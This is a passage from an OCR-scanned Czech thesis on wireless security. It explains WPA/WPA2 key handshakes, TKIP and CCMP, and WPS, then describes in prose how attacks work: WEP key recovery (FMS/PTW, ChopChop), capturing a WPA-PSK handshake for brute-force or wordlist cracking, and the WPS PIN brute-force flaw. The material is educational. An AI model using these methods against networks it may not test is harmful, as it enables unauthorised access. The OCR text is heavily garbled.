Na zacatku autentizator vygeneruje nahodné ¢islo ANonce, které odesle
zadateli v nezaSifrované formé (Message 1). Zadatel po prijeti ANonce ¢isla
vygeneruje své vlastni nahodné ¢islo SNonce, tim zkompletuje potiebné infor-
mace k vytvoreni PTK klice. Aby druhé strana mohla udélat to samé, posle ji
SNonce a MIC (ovéfeni integrity) vypocitany z dané zpravy pomoci KCK klice.
Zprava je prenéaSena nezasifrované (Message 2). Autentizator z druhé prijaté
zpavy vyjme SNonce k vypocitani PTK klice, s kterym je schopen vypocitat
MIC prijaté zpravy a porovnat ho s prijatym MIC. Tim ovéii spravnost hlav-
ntho PMK kli¢e na strané zadatele a schopnost odvozovat docasné klice. Nyni
autentizator odesle zadateli zpravu nesouci GTK kli¢ zasifrovany KEK klicem
a vypocitany MIC zpravy pomoci KCK klice (Message 3). Zadatel vypocita
MIC z prijaté zpravy, ¢imz ovéiri PMK a PTK kli¢e na strané autentizato-
ra. V posledni zpravé zadatel oznamuje, ze tspésné dokoncil vSechny kroky
4-cestné vymeény a zacne pouZivat Sifrovanou komunikaci (Message 4). Auten-
tizator overi pravost zpravy vypoctenim MIC a za¢ne pouzivat vytvorené klice
k zabezpecenému pienosu.

Group Key Handshake

Proces je pouzit k obnoveni GTK kli¢ii. Béhem komunikace dochazi k vyméné
dvou EAPOL-Key zprav mezi pfistupovym bodem a klientem (viz. obr. ,
které pouzivaji diive stanovené KCK a KEK klice.

Protoze GTK Kkli¢ je potfeba ménit, mize mit kazda stanice az Ctyfi rizné
GTK Kklice, které jsou urceny porfadovym c¢islem (1 az 4). Novy GTK kli¢

O¢Tutorials.org. Key Management [online]. [cit. 2015-04-13]. Dostupné z URL:
<http://etutorials.org/Networking/Wireless+lan+security/Chapter+8.+WLAN+
Encryptiontand+Data+Integrity+Protocols/Key+Management/>
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musi byt dorucen vSem pripojenym stanicim, nez mize byt pouzit pro dalsi
komunikaci.

Autherdicatar
Supplicart

Gererate GTk
Encrypt GTK with FTE

_, Nessage 1) EAPO L-kKey(Encrypted GT K, Group, MIC)

Inarall GTH

Massage 2: EAPDL-KewiZroun, MIC)

v

Figure 5-14—Delivery of subsequent group keys

Obrazek 17: Prubéh Group Key Handshake

Pristupovy bod vygeneruje nové nahodné GNonce ¢islo a vypocita novy
GTK kli¢, ktery zasifruje KEK kli¢cem a odesle ho klientovi s poradovym ¢islem
GTK Kklice a vypocteny MIC pomoci KCK klice (Message 1). Klient ovéri
pravost zpravy porovnanim MIC a rozsifruje GTK kli¢, ktery si poté ulozi pod
patfi¢né potradové ¢islo. Klient posle potvrzeni o pfijeti na AP s poradovym
¢islem GTK klice a MIC (Message 2). Jakmile AP vypocita MIC piijaté zpravy
pro ovéteni, také si ulozi novy GTK kli¢ pod poradové ¢islo.

3.3.2 Autentizace

Plvodni jednostranna autentizace WEP zabezpeceni byla nahrazena obou-
strannou autentizaci. To znamené, Ze nyni se klient ovétuje vici siti, do které
se prihlaguje a pristupovy bod navic ujistuje klienta o spravnosti sité.

Pred zacatkem autentiza¢niho procesu WPA zabezpeceni se zucastnéni do-
hodnou, jaky zpusob autentizace bude pouzit, jelikoz WPA podporuje dva
zpusoby autentizace (Personal a Enterprise). Pristupovy bod specifikuje pod-
porované zpusoby autentizace v Beacon ramci a Probe respond (viz. sekce
2.3.1)).

PSK Autentizace (Personal)

Autentizace pomoci PSK je jednodusi a levnéjsi variantou z obou dostupnych
moznosti. Nejc¢astéji se pouziva pro osobni pouziti kviili své jednoduchosti a
nenéarocnosti, proto také oznaceni WPA-Personal.

PSK metoda je zalozena na pouzivani piistupového hesla (passphrase),
které musi byt nastaveno na pristupovém bodé, dale uzivatelskych zafizeni, z

HUEEFocus. IEEE Std. 802.11 and IEEE Std 802.1x2004 [online]. [cit. 2015-04-13]. Do-
stupné z URL: <http://www.eefocus.com/book/08-06/435061276057577 .html>
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kterych je vytvoren PMK kli¢. Pristupové heslo ma standardem danou, délku
kterou musi splhovat, s dolni hranici 8 a horni hranici 64 libovolnych znakii.

Autentizace se provadi v 4-Way Handshake (viz obr. , presnéji ve druhé
a treti zpravé. Klient se autentizuje béhem posilani druhé zpravy, kdy zadané
piistupové heslo pouzije k vytvoreni MIC (integrity) zpravy. Piijaty MIC dané
zpravy AP ovéri a pii shodé je klient autentizovan. To samé se déje s tieti
zpravou, ale v obraceném postupu, kdy se AP autentizuje klientovi.

PSK kli¢ o délce 256 b je pocitan PBKDF2 haSovaci funkci z pristupového
hesla, SSID (nézev sité) a délky SSID.

802.1x Autentizace (Enterprise)

autentizacni server. Tato metoda je hlavné vyuzivana ve firmach s velkym
mnozstvim klientskych stanic, odtud oznaceni WPA-Enterprise.

Autentizace je zalozena na standardu 802.1x (viz sekce, kdy se klientska
stanice autentizuje oproti autentiza¢nimu serveru a obracené. K autentizaci se
pouziva jedné autentiza¢ni metody zaloZzené na EAP protokolu. Disledkem
spravné autentizace je vytvoreni MK klice, z kterého se odvozuje PMK Kkli¢.

MK kli¢ je tvofen haSovaci funkci PRF z 48 B nahodné generovanych za-
datelem a dvou nahodnych ¢isel SNonce (zadatele) a ASNonce (autentiza¢nim
serverem).

3.3.3 Sifrovani a Integrita

WPA pouziva TKIP (Temporal Key Integrity Protocol) protokol, ktery byl
navrzen pro odstranéni nedostatkt spojenych s WEP zabezpec¢enim. TKIP
vyuziva proudové Sifry RC4 pro zajisténi zpétné kompatibility s WEP zafize-
nimi, které lze na novy zptisob ochrany aktualizovat, pri snizeni vykonnosti
(propustnost).

Protokol TKIP je tvoren nékolika bezpecnostnimi prvky, které odstranuji
slabé mista ve WEP zabezpeceni. Prvky a jejich tcely jsou vypsany v tabulce

2l [, 11

’ Prvek ‘ Ucel bezpecnostniho prvku ‘

Zamezit manipulaci se zpravou, nahrazuje CRC
pro ovérovani integrity

Generovani IV Definuje jednotny zptisob generovani IV
Tvorba sifrovaciho klice | Nahrazuje statické klice, zabranit utoku FMS

MIC

Tabulka 2: Bezpecnostni prvky TKIP

MIC

Pro zajisténi integrity dat je pouzivain MIC (Message Integrity Check). Jedna
se jednostrannou hasovaci funkci prezdivanou Michael, ktera byla pouzita pro
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svoji nenaroc¢nost, aby ji mohly pouzivat aktualizované WEP zafizeni. Haso-
vaci funkce pouziva pouze bitové posuny a logickou XOR operaci (stejné jako
WEP).

Kontrolni soucet MIC je pocitan z prenasené zpravy, MAC adres obou

komunikujicich stran, priority komunikace a jednoho z docasnych TMK kli-
¢t (zélezi na komunikujici strané). Vysledek je pfipojen na konec ramce za
pfenaSenou zpravu.
(ovsem daleko lepsi nez WEP varianta), tak byl navrzen obranny mechanismus,
ktery zabranuje utoku na MIC. Jedna se o pozastaveni veskeré komunikace na
jednu minutu, pokud jedna strana zaznamenala dva Spatné kontrolni soucty
MIC v 60 vtefinovém intervalu. Pritom obé strany "zahodi"pouzivané docasné
klice PTK a musi byt tedy vykonana nova 4-cestnd vymeéna pro odvozeni
novych kli¢t.

Generovani IV

P

IV byl prodlouzen na délku 48 biti a je oznacovan jako ExtIV (Extended IV,
prodlouzeny IV). Pficemz vygenerovany IV je nésledné rozdélen na dvé ¢asti,
presnéji 16 b a 32 b dlouhé pro zvétseni bezpecnosti.

Cely mechanismus generovani IV byl zménén na sekvenéni &itac (TSC,
TKIP Sequence Counter), ktery je inkrementovan s kazdym ramcem. Hodnota
¢itace se na prijimaci strané kontroluje a pokud pfijaty ramec nema oc¢ekavanou
hodnotu TSC, tak je ramec zahozen.

Twvorba Sifrovaciho klice

Protokol TKIP byl navrzen tak, aby kazdy ramec vyuzival jiny Sifrovaci klic.
Cilem je poskytnout takovy vstup RC4 §iffe, kdy vygenerovany kli¢ se nebude
nikdy opakovat. Proces tvorby klic¢e je vidét na obr. [18]
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Sequence (ounter (48 bits)

Transmitter mast dant : 16 least
MACaddress  Tempoval key 32most significant Bits | G iicant bits
(32 bits) {128 bits) I
Phase 1
key mixing
1 TTAK (80 bits)  §
Phase 2
key mixing
Second lowest-order Lowest-arder
Dyte in sequence fyte in sequence
counter counter
Durnmy .
i byte | 104 secret bits
R4 Encryption Key (WEF seed)

Obrazek 18: Princip michani TKIP kli¢ua [IT]

Cely postup tvoreni klice je rozdélen do dvou c¢asti. Vypocet se miize zdéat
vykonnostné naro¢ny, ale pritom je celkem jednoduchy, protoze vstupni hod-
noty prvni faze se neméni velice ¢asto (kazdych 65,536 pouzitych IV).

Prvni michani je tvoreno MAC adresou vysilaci strany, do¢asnym Sifrova-
cim klicem TK (TEK ¢ast do¢asného PTK kli¢e) a horni (nejvyznamnéjsi) 32
b ¢asti ExtIV. Druhé michani pouziva vystup z prvni ¢asti a spodni (nevy-
znamné) 16 b ¢asti ExtIV.

Vstupni fetézec pro RC4 sifru ma délku 128 b a je analogicky stejny s WEP
zabezpecenim pro 104 b sdileny Kklic. Retézec je tvoTen spodni 16 b ¢asti ExtIV,
104 b vystupem druhého michéni a 8 b hodnoty dummybyte.

Vysledny Sifrovaci kli¢ je poté pouzit k modifikaci prenaSené zpravy a kon-
trolniho sou¢tu (MIC) pomoci logické operace XOR.

3.4 WPA2/IEEE 802.11i

WPA 2 zabezpeceni, téz nazyvané 802.11i, je tvofeno findlni verzi standardu
[EEE 802.11i vydaném v roce 2004. Konec¢na verze standardu pridala dalsi
bezpecnostni prvky od ptvodniho navrhu pro vytvoreni komplexniho zabez-
peceni WLAN. Wi-Fi Alliance ho oznacila WPA2, jako nastupce ptuvodniho
navrhu.

Jelikoz WPA2 pouziva zcela nové Sifrovaci algoritmy (napt. AES, Advanced
Encryption Standard),), které jsou vykonové naro¢néjsi nez v WEP a WPA
(RC4 sifra), tak WPA2 neni mozné pouzivat na starsich zafizenich. Standard
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802.11i s tim pocita a proto podporuje dvé rizné architektury.

e RSN (Robust Security Network)

e TSN (Transition Security Network)

Standard 802.11i uklada povinnost provézt vzajemnou autentizaci s asoci-
acl a 4-cestnou vymeénu pro vytvoreni docasnych kli¢ti. Tento proces asociace
je oznacovan jako RSNA (Robust Security Network Association) a je soucasti
RSN architektury. Zafizeni neschopna se timto zpiisobem asociovat (neaktuali-
zované WEP zatizeni) nejsou do RSN sité vpustény. Proto existuje architektura
TSN, ktera dovoluje koexistenci starych a novych zatizeni. [ 1]

3.4.1 Hierarchie kli¢t a autentizace

Hierarchie kli¢t se v novém WPA2 je témér totozna s tim co bylo popséno jiz
drive pro WPA zabezpeceni (viz. sekce . Rozdil je v celkové délce PTK a
GTK Kkli¢a pro jednotlivé typy komunikace. PTK kli¢ byl zkracen o poslednich
128 b na novou délku 384 b a GTK kli¢ byl zkracen na polovinu, tedy 128 b.
Obé zmény jsou znézornény pierusovanou ¢arou na obr. [14] a [15]

To znamena, ze WPA2 vyuziva pouze nasledujici klice:

e PTK - (Pairwise Temporal Key) pouziva t¥i 128b klice: KCK, KEK, TK
e GTK - (Group Temporal Key) pouZiva jeden 128b kli¢: GEK

Proces ziskavani kli¢t zustava stejny pomoci 4-Way Handshake a Group
Key Handshake (viz. obr. [16] a[L7).

WPA2 autentizace je dostupnéa ve dvou provedenich, stejné jako diiv po-
pisové autentizatni mechanismy WPA (viz. sekce , a proto jiz nebudou
popisovany. [4]

3.4.2 Sifrovani a Integrita

WPA2 predstavilo kompletné prepracované zabezpeceni, které jiz nepouziva
RCA4 sifru. Misto toho vyuziva CCMP protokol (CTR with CBC-MAC Proto-
kol) s zékladem v EAS (Advanced Encryption System) Sifrovacim standardu.
|4, 5, [1T]

EAS

Zakladem EAS je sifrovaci algoritmus Rijndael, pojmenovany podle tvirci
Joada Daemen a Vincent Rijmen. Sifra byla vydana a standardizovana v roce
2001 uradem NIST (National Institute of Standards and Technology).

Algoritmus Rijndael kombinuje Sifrovaci kli¢ s nesifrovanym blokem dat
pomoci matematickych a logickych operaci k vytvoreni sifrovaného bloku. EAS
standardizoval pouzivané délky na 128 b bloky dat a pouzitelné délky klicti na
128, 196 a 256 b. V ramci standardu IEEE 802.11i je pouzivana varianta s
délkou klice 128 b.
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Sifrovaci standard pracuje s pevnymi bloky dat, a protoze v sitich se nevy-
skytuji zpravy pevné délky, tak musi byt zpréava pfevedena do spravné délky.
Standard IEEE 802.11i pouziva dvé metody, které jsou dohromady pouzivany
protokolem CCMP. Prvni z nich je CTR rezim (Counter Mode) pro Sifrovani a
CBC-MAC rezim (Cipher-Block Chaining with Message Authentication Code)
pro autentizaci a integritu.

CTR rezim ke své ¢innosti pouziva ¢itac, ktery pro prvni blok vygeneruje
nahodné Nonce (jednou pouzitelné) ¢islo a pro dalsi bloky zpravy ho postupné
inkrementuje. Kazdy blok tvori prvni vstup logické XOR operace, kde druhym
vstupem je vygenerované ¢islo zaSifrované pomoci EAS. Postup je ukazan na

obr. 19l

Initialization
Wector
1
Counter Counter Counter Counter
1 ! 1 !
Encrypt Encrypt Encrypt Encrypt

Plaintext
Block 4

Plaintext
Black 3

Plaintext
Block 2

Plaintext
Black 1

T CHor> ETT
Ciphertext Ciphertext Ciphertext
Block 2 Block 3 Block 4

Obrazek 19: Znazornéni CTR rezimu [17]

o>
Ciphertext
Block 1

Rezim CBC-MAC modifikuje prvni blok nahodnou inicia¢ni hodnotou s
pouzitim logické funkce XOR, kdy vystup XOR funkce je nasledné zasSifro-
van pomoci EAS. Dalsi blok je modifikovan v XOR operaci jiz zasifrovanym
predchazejicim blokem. To ma za nésledek, ze jakakoli zména piivodni zpravy
ovlivni vyslednou zasifrovanou podobu.

Initialization Flaintext Flaintext Flaintext Flaintext

“ectar Block 1 Block 2 Block 3 Block 4
Encrypt Encrypt Encrypt Encrypt
Ciphertext Ciphertext Ciphertext Ciphertext
Block 1 Block 2 Block 3 Block 4

Obrazek 20: Znazornéni CBC-MAC rezimu [17]

CCMP

CCMP (CTR with CBC-MAC Protokol) protokol pouziva vyse popsané EAS
sifrovani, které pracuje s do¢asnym 128 b KEK klicem z PTK klice.
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Kazdy ramec zabezpeteny s CCMP protokolem ma dodate¢nou CCMP
hlavicku o délce 64 b, hned za standardni MAC hlavickou. Soucésti hlavicky je
48 b ¢&islo ramce PN (Packet Number), 2 b hodnota KeyID ozna¢ujici pouzity
kli¢ pro multicast komunikaci a dalsi informace. Cislo ramce (PN) lze pFirovnat
k sekvenénimu ¢itaci TSC v TKIP protokolu.

Proces vypoc¢tu MIC (kontrolniho soué¢tu) je proveden pomoci CBC-MAC
rezimu, kdy dochézi k Sifrovani prvniho bloku, pricemz vysledek modifikuje
nasledujici blok XOR operaci a tak dale. Z posledniho bloku se odfizne spodni
polovina (64 b) a zbytek tvori hodnotu MIC, které se pfipoji na konec ramce.
Prvni blok je sifrovan fetézcem tvofenym z pole Flag, pole DLen urcujici délku
nezasifrované zpravy, priority ramce, MAC adresy odesilatele a ¢islem ramce
(PN).

Po vypoctu kontrolniho souctu je MIC zaSifrovano i s pfenaSenou zpravou
pomoci CTR rezimu, ktery Sifruje hodnoty ¢itace, kdy vysledek je pouzit v
operaci XOR spole¢né s prifazenym blokem dat. Poc¢ateéni hodnota c¢itace je
nastavena podobné jako pii poc¢itani MIC, ale pole udavajici délku zpravy
DLen je nahrazeno polem Ctl, které zac¢ina na ¢isle 1 a s kazdym rdmcem se
inkrementuje.

3.5 Wi-Fi Protected Setup

Wi-Fi Protected Setup (WPS) standardizovan pod poklicku IEEE 802.11, ale
byl vytvoren spole¢nosti Wi-Fi Alliance a uveden na trh za¢atkem roku 2007.
Ackoli WPS nepatii pod standard 802.11 stejné se na tuto specifikaci podiva-
me, protoze se stala velmi rozsifenou.

Cilem WPS bylo pouze zjednodusit pfipojovani klienti do sité za pomoci
novych zpusobu autentizace. Zakladem WPS je ¢iselny PIN kod (Personal
Information Number) o délce 8 znaki, ktery se predava mezi AP a klienty t¥emi
riznymi zpusoby. WPS komunikace je provadéna pomoci EAP protokolu.

Jelikoz WPS neni kompletné novym zabezpecenim, ale pouhym doplitkkem
pro jiz stavajici WPA /WPA2 zabezpeceni, které klientovi automaticky nastavi
konfiguraci (SSID, pfistupové heslo, atd.) a pfipoji ho do sité pomoci vSech
zabezpecovacich mechanismi pouzitych pro WPA zabezpeceni. [9]

PBC autentizace

PBC (Push Button Connect) za vyuziti WPS tlac¢itek umisténych piimo na
klientovi a pristupovém bodé. Tlacitka lze vétsinou najit na zadni strané pristu-
pového bodu (viz. Obr. , na USB bezdratovych kartach nebo jako virtualni
tlac¢itko v operac¢nim systému. Princip sparovani je nasledujici, jako prvni se
zméckne tlacitko na pristupovém bodé a tim se mu oznami, ze se bude pfi-
pojovat novy klient. Pristupovy bod otevie moznost vyménit klice s protéjsi
stranou na 2 minuty, pokud se nékdo tispésné piipoji nebo uplynou 2 minuty,
tak se moznost pripojeni sama ukondi.
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\ WPS/Reset ‘ '

Il,

L

Obrazek 21: WPS tlacitka na zadni strané Wi-Fi routert l

PIN autentizace

Dalsi dvé moznosti vyuzivaji zadavani 8 mistného PIN kodu. Zafizeni spojené
s PIN metodou jsou:

e Registrar - ovérovaci autorita, kterd podle PIN kédu vyda nebo zamitne
pristup do sité, mize byt soucasti AP.

e Enrollee - klient s zadosti o pripojeni.
e AP - normalni pfistupovy bod slouzici jako brana mezi
Samotny proces zadavani PIN kédu je dostupny ve 2 provedenich:

e Internal Registrar - pouziva zadani PIN kédu pomoci webového prohli-
zece, kdy se klient pripoji na webové rozhrani piistupového bodu a do
pripravené kolonky se zada prislusny PIN.

e External Registrar - je zadani PIN kodu hned v klientském zafizeni, které
chceme pripojit do sité.

Zadany PIN kod je poté odeslan na ovéfeni a klient je informovén o vy-
sledku autentizace, zda bude pfipustén do sité ¢i nikoliv.

PIN ko6d byva nejcastéji prilozen v manualu pristupového bodu nebo vytis-
tén na spodni strané AP vedle tovarniho nastaveni s piikladnym oznacenim:
"WPS PIN: 12345678". PIN kod je mozné zménit v nastaveni pristupového
bodu po tspésném piihlaseni.

12Edimax. CV-7428nS [online]. Listopad 2011 [cit. 2015-04-13]. Dostupné z URL:
<http://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/
global/wi-fi_bridges_n300/cv-7428ns>
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4 Utoky na slabiny pouZivanych zabezpeceni

V této ¢ast prace se zaméfime na popisovani slabych mist v WEP, WPA|
WPA2 a WPS zabezpecenich, jejichz funkcionalita byla popséna v predchozi
kapitole (viz. kapitola. Rekneme si, co je pri¢inou slabych mist ve zminénych
zabezpecenich a jaké utoky lze na né provadét.

Vsechny ttoky jsou zde pouze teoreticky rozepsény pro pfibliZzeni jejich
funkénosti. Samotné pouziti atoki se nachéazi v kapitole [7}

4.1 Wired Equivalent Privacy

Slabym mistem celého WEP zabezpeceni (viz. sekce je hned na zacatku
RC4 proudové sifry. Presnéji feceno v pouziti sdileného klice, ktery je soucasti
vstupniho Fetézce Seed do RC4 sifry. Sdileny kli¢ o délce 40 a 104 bitd je
statickou soucasti vstupniho fetézce a pouhych 24 bitt inicia¢niho vektoru
(IV) neméa dostatecnou variabilitu a IV se tim padem opakuje kazdych nékolik
tisici vstupt.

Navic prvnich nékolik bajti ramce ma silnou spojitost se sdilenym klicem,
jak bylo zjisténo Andrew Roosem roku 1995 a mnoho dal$imi nendhodnymi
spojitostmi. I kdyz pravost téchto spekulaci byla potvrzena az v roce 2007,
tak se predpoklad stal zakladem vétsiny tutokt. To vSsechno dohromady tvofi
WEP zabezpeceni velmi nachylné na rizné statistické utoky.

Vsechny utoky potfebuji nashromézdit dostatec¢ny pocet IV pro tspésné
rozlusténi sdileného klice. Jelikoz IV obsahuje kazdy ramec na WEP zabezpe-
¢eni, tak staci jenom dostatecné dlouho naslouchat. Rozdil nastava v poc¢tu IV
potfebnych pro rozlusténi u jednotlivych ttoku a jak dlouho se bude vypodi-
tavat vlastni sdileny kli¢. [1l 22]

4.1.1 Brute-force utok

WEP zabezpeceni je nachylné na brute-force utok (testovani vSech kombinaci)
jiz od zacatku, i bez zkoumani slabych mist RC4 Sifry. VSechny potfebné in-
formace je mozné zachytit béhem autentizace pomoci sdileného klice, kdy AP
vysle klientovi zpravu k zasifrovani a ten ji poté posila zpatky zasifrovanou.
Uto¢nikovi sta¢i zachytit pouze tyto dva ramce s pivodnim a zagifrovanym
textem.

4.1.2 FMS/PTW ttok

Dalsi utoky jiz vyuzivaji nalezenych chyb v RC4 siffe, jako prvnim tspésny
utok pojmenovany FMS (prvni pismena tvarcd Fluhrer, Martin, Shamir) byl
proveden jiz v roce 2001. FMS utok vyuziva slabé variability IV v KSA (Key
Scheduling Algorithm) a poznatku, Ze prvni bajt Keystreamu (vystup RC4 sif-
ry) zévisi na prvnich par bitech sdileného klice. Utok potiebuje velké mnozstvi
IV, coz ho déla velmi ¢asové naro¢nym i na siti s velkym provozem (pro 40
bitovy sdileny kli¢ okolo 1.000.000 ramcii).

34



FMS utok byl pozdéji vylepsen Davidem Hultonem, kdy ttok pozoruje vice
nez jen prvni bajt Keystreamu a tim déla titok rychlejsim a potiebuje nashro-
mézdit méné ramct (pro 40 bitovy sdileny kli¢ je prumérny odhad 200.000
ramct).

Nastupcem FMS ttoku byl v roce 2005 vydany Kleinuv utok. Navrzen
podle analyzy Andrease Kleina, ktera predvedla dalsi spojitosti mezi sdilenym
klicem a RC4 Keystreamem.

Kleintiv utok byl pozdé&ji vylepSen a pojmenovéan jako PTW ttok (prvni
pismena tvirci Pychkine, Tews, Weinmann). Tento je ze vSech nejrychlejsi,
ale pro plnou efektivitu je nejlepsi mit co nejvice ARP (Address Resolution
Protocol) ramct. Odhadovany pocet potfebnych ramci pro uspésny utok je
40.000 pro 40 bitovy sdileny kli¢, to je nékolika nasobné méné nez u ostatnich
utoku.

4.1.3 ChopChop tutok

S kompletné jinym pristupem k RC4 siffe pristupuje ChopChop utok. Tento
utok je spiSe urcen pro rekonstrukei ptivodni zpravy (plain text) pred zaSifro-
vanim, nez pro ziskani sdileného klice. Principem ttoku je zachytit prochazejici
ramce a po jejich tprave je vyslat zpatky do sité a ¢ekat na reakci pristupového
bodu.

Ve zvoleném zachyceném ramci se piejde na posledni bajt zaSifrované zpra-
vy pfed kontrolnim souctem a usekne se. Zkraceny ramec ma nyni neplatny
kontrolni soucet, ale pomoci slabiny v CRC (Cyclic Redundancy Check) je
uto¢nik schopen vypocitat novy kontrolni soucet zkraceného ramce. Toho je
dosazeno logickou operaci XOR, ktera mé za vstup zkraceny réamec a pred-
pokladanou hodnotu useknutého bajtu (hodnoty od 00 do FF). Pozménény
ramec utocnik posle na AP a ¢eka na jeho reakci, pi Spatném odhadu se hod-
nota zméni a posila znovu. Pokud AP ramec preposle, tak je odhad spravny
a prechéazi se na druhy bajt od konce, az se timto zptisobem tutoc¢nik dostane
k prvnimu bajtu zpravy. Tim se ttok ukonc¢i a pivodni text jedné zpravy je
prelozen.

4.1.4 Zakondceni

Kvili zminénym chybam se WEP zabezpeceni nedoporucuje pouzivat v jakém-
koli prostiedi a v roce 2004 (piichod WPA?2 zabezpeceni) samo IEEE prohlasilo
WEP zabezpeceni za zastaralé a nevhodné pro dalsi pouzivani. Pokud neni jiné
moznosti, nez vyuzit WEP zabezpeceni, tak je doporuc¢eno zapnout otevieny
systém autentizace a pouzivat 104 bitovy sdileny kli¢, ktery by mél byt casto
méneén.

4.2 Wi-Fi Protected Access/WPA2

Jelikoz obé zabezpeceni pouzivaji stejné metody pro autentizaci, tak popiseme
si jejich slabiny dohromady. Z minulé kapitoly (viz. sekce |3.3.2)) vime, ze WPA

35



podporuje dvé rozdilné implementace pod nazvy Personal (PSK /sdileny klic)
a Enterprise (RADIUS/802.1x).

e Personal - (PSK) autentizace pomoci piistupového hesla (passphraze)
e Enterprise - (802.1x) autentizace pomoci EAP protokolu

Na autentizaci typu Enterprise neexistuje ttok, ktery by ttoc¢nikovi umoz-
noval zjistit potfebné informace pro tspésnou autentizaci do sité.

4.2.1 TUtok na PSK kli¢

Na druhou stranu autentizac¢ni metoda PSK (preshared key, prednastaveného
klice) se pouziva jako alternativni metoda pro generovani hlavniho PMK klice.
Po vytvoreni PMK klice dochazi k vypocitani PTK klice, kdy se zbylé hodnoty
pro vypocet prenaseji pomoci 4-Way Handshake v oteviené (nezasifrované)
podobé. [1l 23]

Utok je tedy zalozen na odchyceni EAPOL-Key zprav tvofici 4-Way Hand-
shake. K provedeni titoku staci zachytit pouze prvni dvé zpravy nesouci ndhod-
né generovana ¢isla ANonce (generovano AP) a SNonce (generovéano klientem).
Po tspésném zachyceni zprav ma utoc¢nik vSechny potfebné informace pro za-
hajeni utoku.

Samotny utok spociva v hadéani jediné neznamé hodnoty celého vypoctu, a
tim je samotné pifstupové heslo. Utoénik hada pifstupové heslo tim zptisobem,
ze ze vSech nasbiranych hodnot vypocitd PTK kli¢, z kterého pouzije KCK kli¢
na vypocet MIC zachycené 2 zpravy a vysledek porovna s originalnim MIC
zpravy. Pokud dosédhne shody bylo hiddané pristupové heslo spravné a tutok
byl Gspésny, v opacném piipadé je cely proces opakovan s novym odhadem
pristupového hesla.

Pro samotné hadéni pristupového klice jsou pouziviny dvé metody:

e Brute-force - (Hruba sila)
e Wordlist - (Slovnik)
Brute-force

Utok hrubou silou znamena, e ttoénik zkousi véechny mozné kombinace hesel.
Nevyhodou ttoku je velkéd casova narocnost, ktera zavisi na pouzitém hardwaru
a jak slozité hesla testujeme (mala/velké pismena, ¢islice, specialni znaky nebo
kombinace). Vyhodou je zaru¢ené uhodnuti hesla, ale podle nastavené slozitosti
a délky hesla mize ttok trvat neuvéfitelné ¢asové obdobi (i tisice let).

Wordlist

Slovnikovy tutok zkousi pouze hesla zadand ve slovniku. Slovnik je nejcastéji
textovy (.txt) soubor obsahujici jednotliva hesla rozdélena po fadkach. Ruzné
hotové slovniky lze najit na internetu nebo si kazdy miize vytvorit sviij vlastni.
Nevyhodou pouzivani slovniku je moznost nenalezeni spravného hesla, pokud
neni soucasti pouzitého slovniku. Vyhodou je mensi ¢asova naroc¢nost.
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4.2.2 Dalsi atoky

Dalsi mozné tutoky na WPA zabezpeceni neumozni tto¢nikovi ziskat pfistup
do sité, ale mize ostatnim klienttim znep¥ijemnit jeji pouzivani. [I], 8]

Prvnim moznym utokem je DoS (Denial of Service) na klienta, ktery zrovna
provadi 4-cestnou vyménu kli¢t. Klient si musi udrzet prvni rdmec vymény do
té doby, nez prijme tfeti ramec a tim autentizuje pristupovy bod. V mezete
mezi prvnim a tfetim ramcem, se na klienta posilaji nové prvni ramce vymeény,
¢imz se utocnik snazi vyplytvat klientovu pamét, aby nebyl schopny prijmout
treti rAmec spravné vymeény.

Druhy utok je téz typu DoS, ale tentokrat zaméfeny na autentizaéni mecha-
nismy standardu IEEE 802.1x, kdy tto¢nik posila na autentizacni server tolik
dotaz1, ze se nemtuze nikdo piihlasit. Dalsi variantou je podvrhnout ramce a
oznamit klientovi, Ze autentizace selhala nebo ho zkusit odhlasit.

4.2.3 Zakonceni

Vsechny varianty WPA zabezpeceni jsou bezpecnéjsi nez WEP, pficemz WPA2-
Enterprise pomoci autentiza¢niho serveru je lepsi nez PSK metoda, protoze
neexistuje utok, ktery by dovolil neopravnény pristup do sité. Pouziti PSK
miize byt téz velmi bezpecné, pri nastaveni dostatecné slozitého nebo dlouhé-
ho pristupového hesla. Pristupové hesla by méla spliiovat néasledujici body:

1. tvoreno kombinaci malych a velkych pismen, ¢islic a specialnich znaki
(doporucuje se kombinovat ze 3 skupin).

2. nepouzivat obecna slova nalezena ve slovniku

3. vyvarovat se Casto pouzivanych kombinacim, jako asdfghjk nebo 12345678

4.3 Wi-Fi Protected Setup

WPS ma 3 mozné implementace pro predavani PIN kodi mezi zafizenimi (viz.
sekee [3.5)). Utoéit se d4 na 2 mozné implementace WPS, i kdyZ jedna z nich
nemé s nalézanim PIN kodu nic spoleéného. [12] 23]

4.3.1 Utok na PIN

Utok na PIN koéd vyuziva External Registrar varianty, kdy uzivatel zadava
potfebny PIN kéd do svého zafizeni, které ho odesle pristupovému bodu a
ceké na odpoved, zda byl kli¢ spravny nebo ne. Utok je provadén za pomoci
brute-force metody, kde se testuje kazda mozna kombinace PIN kodu. Jelikoz
PIN kod je ve vysledku tvotren 7 c¢isly, protoze 8 ¢islice je pouze kontrolni,
tak celkovy pocet kombinaci je 10.000.000 (deset milionti). Za predpokladu, Ze
celou dobu musi byt utoc¢nik v dosahu, je to stale dost.

V prosinci roku 2011 védecky pracovnik Stefan Viehbock odhalil zavaznou
chybu, ktera dramaticky zkracuje potfebnou dobu na tspésné provedeni tuto-
ku a ziskéni pristupu do sité. Chyba v ndvrhu WPS snizuje potfebny pocet
testovanych PIN koda na pouhych jedenéct tisic (11.000).
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Pri¢inou problému je odpovéd pristupového bodu klientovi, zda byl PIN
koéd platny nebo ne. Z komunikace s pristupovym bodem je mozné vycist, zda
prvni a druhé polovina klice je spravna. Tim se 8 mistny PIN kod rozdéluje
na dva 4 mistné a protoze posledni ¢islo je pouze kontrolni, tak je PIN kod
urcen pomoci 4 a 3 mistné skupiny ¢isel. To dava dohromady slabych 11.000
kombinaci.

802.11 Auth
802.11 Assoc
EAP Initiation

o« 802.11 Deauth

A 4

Send M4

Increment 1st half

Receive //,)-NACKD» of PIN —

]
M5
4

Send M6

Increment 2nd half
of PIN/ fix checksum

Receive ‘:;:‘—NACKP

M7
\ 4

Dump AP
Configuration (M7)

Obrazek 22: Vyvojovy diagram brute-force utoku na WPS [12]

Obrazek [22 znazornujici postupu brute-force si nyni popiseme. Béhem pfi-
pojovani pomoci WPS si klient s pristupovym bodem vymeéni informace celkem
osmkrat. Mezi sledované komunikace patii M4, M6 posilané klientem a patric-
né odpovédi od pristupového bodu.

Po navazani komunikace klient posila piistupovému bodu prvni ¢tyfi ¢is-
lice PIN kédu v rdamci oznac¢eném M4. Pokud klient obdrzi ramec M5, vi, Ze
